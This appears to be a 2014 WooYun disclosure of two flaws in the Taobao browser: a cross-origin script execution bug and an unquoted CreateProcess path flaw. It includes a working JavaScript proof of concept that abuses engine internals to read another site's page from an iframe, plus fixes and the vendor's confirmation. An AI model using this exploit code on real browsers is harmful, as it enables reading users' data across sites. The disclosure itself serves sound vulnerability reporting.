当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076068

漏洞标题:淘宝浏览器跨域脚本执行+可信任路径代码执行漏洞

相关厂商:淘宝网

漏洞作者: 路人甲

提交时间:2014-09-14 22:46

修复时间:2014-12-13 22:48

公开时间:2014-12-13 22:48

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-17: 厂商已经确认,细节仅向厂商公开
2014-09-20: 细节向第三方安全合作伙伴开放
2014-11-11: 细节向核心白帽子及相关领域专家公开
2014-11-21: 细节向普通白帽子公开
2014-12-01: 细节向实习白帽子公开
2014-12-13: 细节向公众公开

简要描述:

最新版本淘宝浏览器设计中的一个小失误可以导致本地任意命令执行+跨域脚本执行

详细说明:

测试跨域脚本:

<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
frame.src = "http://www.baidu.com/";
frame.onload = function() {
Function("}, (builtins = this), function() {");
originalInstantiate = builtins.Instantiate;
builtins.DefineOneShotAccessor(builtins, "Instantiate", function() {});
flag = 0;
template = null;
builtins.Instantiate = function(x, y) {
if (flag) {
doc = frame.contentWindow.document;
alert(doc.body.innerHTML);
flag = 0;
} else if (!template)
template = x;
return originalInstantiate(x, y);
};
document.implementation;
flag = 1;
builtins.ConfigureTemplateInstance(frame.contentWindow, template);
}
</script>
</body>


可信任路径代码执行漏洞:

在使用CreateProcess函数时,当第一个参数lpApplicationName为NULL,而第二个参数lpCommandLine中包含有空格,且未加双引号时,会导致在执行函数时会被截断,比如:c:\program files\sub dir\program name,程序将会以下列顺序来搜索程序:
c:\program.exe files\sub dir\program name
c:\programfiles\sub.exe dir\program name
c:\programfiles\sub dir\program.exe name
c:\programfiles\sub dir\program name.exe
微软官方对CreateProcess函数的说明
http://msdn.microsoft.com/en-us/library/ms682425.aspx

漏洞证明:

1aaaaaaaaaaaaa.jpg


aaaaaaaaaaaaa.jpg


同是3.5.1.1060版本

修复方案:

跨域脚本执行:
对documentURI执行脚本进行限制
对builtins对象执行脚本进行限制
可信任路径代码执行漏洞:
对传入给CreateProcess函数的名称和参数用双引号””进行包含

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-09-17 11:02

厂商回复:

感谢你对我们的关注与支持,该问题我们正在修复。

最新状态:

暂无